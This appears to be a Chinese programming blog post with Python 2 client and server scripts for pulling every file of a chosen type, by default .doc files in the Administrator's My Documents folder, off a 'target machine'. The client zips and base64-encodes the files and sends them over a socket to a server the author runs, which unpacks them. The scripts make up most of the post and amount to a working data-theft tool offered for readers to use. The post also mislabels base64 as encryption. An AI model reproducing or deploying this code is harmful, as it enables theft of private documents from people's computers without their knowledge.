python实现获取客户机上指定文件并传输到服务器的方法


Posted in Python onMarch 16, 2015

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:

该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

服务器端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import os

import zipfile

import codecs

import base64

def main():

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 6553500 #6M

    key = 'ouyang'

    timeout = 5

    dicName = "ouyang\\"

    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:

        ss.bind((HOST,PORT))

        ss.listen(5)

        print "wating for conntecting..."

        while True:

            try:

                cs,addr = ss.accept()

                socket.setdefaulttimeout(timeout)

                cs.send("200 Connected!")

                #获取加密数据

                encode_data = cs.recv(BUF_SIZE)

                #把数据写到out.zip文件

                tmpfile = open('out.tmp','wb')

                try:

                    tmpfile.write(encode_data)

                    tmpfile.close()

                except IOError,e:

                    print 'Strange error creating IOError:%s' % e  

                    tmpfile.close()

                finally:

                    tmpfile.close()

                #base64 decode 2进制 解密 decode(infile,outfile)

                tmpfile = open('out.tmp','rb')

                outfile = open('out.zip','wb')

                base64.decode(tmpfile,outfile)

                tmpfile.close()

                outfile.close()

                #打开zip文件

                zfile = zipfile.ZipFile('out.zip','r')

                #创建一个文件夹来存放获取的zip文件

                if not os.path.exists(dicName):

                    os.mkdir(dicName)

                for f in zfile.namelist():

                    data = zfile.read(f)

                    file = open(dicName+os.path.basename(f),'w+b')

                    file.write(data)

                    file.close()

                print "finished!!!"

                zfile.close()

                #后续处理 删除临时文件

                os.remove('out.tmp')

                cs.close()

            except socket.error, e:  

                print 'Strange error creating socket:%s' % e  

                cs.close()

        ss.close()

    except socket.error, e:

        print 'Strange error creating socket:%s' % e  

        ss.close()

if __name__=='__main__':

    main()

客户端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import win32api

import os

import time

import zipfile

import codecs

import base64

def walk_dir(dir,filelist,extName,topdown=True):

    for root, dirs, files in os.walk(dir, topdown):

        for name in files:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))      

        for name in dirs:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))

def main():       

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 65535

    key = 'ouyang'

    dicName = "C:\Documents and Settings\Administrator\我的文档"

    extName = '.doc'

    #遍历搜索我的文档的doc类型

    try:

        filelist = []

        walk_dir(dicName,filelist,extName)

    except IOError,e:

        print "文件处理错误: " % e

        sys.exit(-1)

    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    try:

        cs.connect((HOST,PORT))

        print cs.recv(BUF_SIZE)

        #压缩成zip文件

        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)

        for f in filelist:

            zfile.write(f)

        zfile.close()

        #base 2进制 加密 encode(infile,outfile)

        infile = open('in.zip','rb')

        tmpfile = open('in.tmp','wb')

        base64.encode(infile,tmpfile)

        infile.close()

        tmpfile.close()

        #send

        tmpfile = open('in.tmp','rb')

        cs.send(tmpfile.read())

        tmpfile.close()

        #后续处理 删除中间文件

        os.remove('in.tmp')

        cs.close()

    except socket.error ,e:

        print 'socket 出错啦:' % e

        cs.close()

if __name__=='__main__':

    main()

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
Python 中 list 的各项操作技巧
Apr 13 Python
Collatz 序列、逗号代码、字符图网格实例
Jun 22 Python
pandas按若干个列的组合条件筛选数据的方法
Apr 11 Python
使用python根据端口号关闭进程的方法
Nov 06 Python
50行Python代码获取高考志愿信息的实现方法
Jul 23 Python
Django框架序列化与反序列化操作详解
Nov 01 Python
Python倒排索引之查找包含某主题或单词的文件
Nov 13 Python
Tensorflow训练MNIST手写数字识别模型
Feb 13 Python
python实现ssh及sftp功能(实例代码)
Mar 16 Python
TensorFlow tf.nn.softmax_cross_entropy_with_logits的用法
Apr 19 Python
keras 自定义loss model.add_loss的使用详解
Jun 22 Python
python绘图subplots函数使用模板的示例代码
Apr 30 Python
python提取内容关键词的方法
Mar 16 #Python
python生成随机mac地址的方法
Mar 16 #Python
python通过线程实现定时器timer的方法
Mar 16 #Python
python每隔N秒运行指定函数的方法
Mar 16 #Python
python实现登陆知乎获得个人收藏并保存为word文件
Mar 16 #Python
Python标准库urllib2的一些使用细节总结
Mar 16 #Python
python实现查询苹果手机维修进度
Mar 16 #Python
You might like
两种php调用Java对象的方法
2006/10/09 PHP
PHP CURL获取返回值的方法
2014/05/04 PHP
ThinkPHP中使用ajax接收json数据的方法
2014/12/18 PHP
PHP实现在数据库百万条数据中随机获取20条记录的方法
2017/04/19 PHP
PHP中递归的实现实例详解
2017/11/14 PHP
PHP实现的mysql读写分离操作示例
2018/05/22 PHP
javascript支持firefox,ie7页面布局拖拽效果代码
2007/12/20 Javascript
javascript 模拟JQuery的Ready方法实现并出现的问题
2009/12/06 Javascript
jquery选择器(常用选择器说明)
2010/09/28 Javascript
iframe的onload在Chrome/Opera中执行两次Bug的解决方法
2011/03/17 Javascript
Dom操作之兼容技巧分享
2011/09/20 Javascript
JS实现金额转换(将输入的阿拉伯数字)转换成中文的实现代码
2013/09/30 Javascript
js数组转json并在后台对其解析具体实现
2013/11/20 Javascript
JavaScript中toString()方法的使用详解
2015/06/05 Javascript
JavaScript编程中布尔对象的基本使用
2015/10/25 Javascript
jQuery绑定事件监听bind和移除事件监听unbind用法实例详解
2016/01/19 Javascript
从重置input file标签中看jQuery的 .val() 和 .attr(“value”) 区别
2016/06/12 Javascript
深入理解Angular2 模板语法
2016/08/07 Javascript
jQuery之动画ajax事件(实例讲解)
2017/07/18 jQuery
微信小程序 MinUI组件库系列之badge徽章组件示例
2018/08/20 Javascript
js 计数排序的实现示例(升级版)
2020/01/12 Javascript
vue学习笔记之作用域插槽实例分析
2020/02/01 Javascript
详解Vue.js 可拖放文本框组件的使用
2021/03/03 Vue.js
python使用梯度下降和牛顿法寻找Rosenbrock函数最小值实例
2020/04/02 Python
如何基于线程池提升request模块效率
2020/04/18 Python
基于CSS3 animation动画属性实现轮播图效果
2017/09/12 HTML / CSS
多视角3D逼真HTML5水波动画
2016/03/03 HTML / CSS
捷克时尚网上商店:OTTO
2018/03/15 全球购物
高二历史教学反思
2014/01/25 职场文书
关于圣诞节的广播稿
2014/01/26 职场文书
高一数学教学反思
2014/02/07 职场文书
英语国培研修感言
2014/02/13 职场文书
个人自我鉴定总结
2014/03/25 职场文书
个人培训自我鉴定
2014/03/28 职场文书
企业金融服务方案
2014/06/03 职场文书
公文写作:工伤事故分析报告怎么写?
2019/11/05 职场文书